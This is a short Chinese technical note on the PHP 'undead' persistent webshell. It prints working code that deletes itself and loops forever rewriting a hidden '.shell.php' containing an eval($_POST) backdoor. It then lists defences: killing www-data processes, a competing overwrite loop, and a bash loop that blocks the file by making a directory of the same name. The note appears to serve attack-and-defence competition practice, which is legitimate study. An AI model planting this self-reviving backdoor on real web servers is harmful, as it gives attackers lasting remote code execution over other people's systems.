“知识在于积累”
比较常见的不死马是通过一个死循环强占一个 PHP 进程不断写入恶意的代码到 php 文件中。代码如下:
<?php
// 忽略用户中止并允许脚本
// 永远运行
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__); // unlink,删除自身
$file = '.shell.php'; // 写入文件名
$code = '<?php @eval($_POST[1]); ?>';
while (1){
file_put_contents($file,$code); // 写入文件
usleep(5000); //函数延迟代码执行若干微秒
}
?>
防御方法:
- 重启服务,进行删除
- 杀死 www-data 的所有子进程:
kill `ps aux | grep www-data | awk '{print $2}' | xargs kill -9`
- 竞争写入无意义的内容
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.shell.php';
$code = '<?php ?>';
while (1){
file_put_contents($file,$code);
usleep(0);
}
?>
- 创建一个与不死马一样的目录
#!/bin/bash
cd /var/www/html/
while true;do rm -rf .shell.php;mkdir .shell.php;done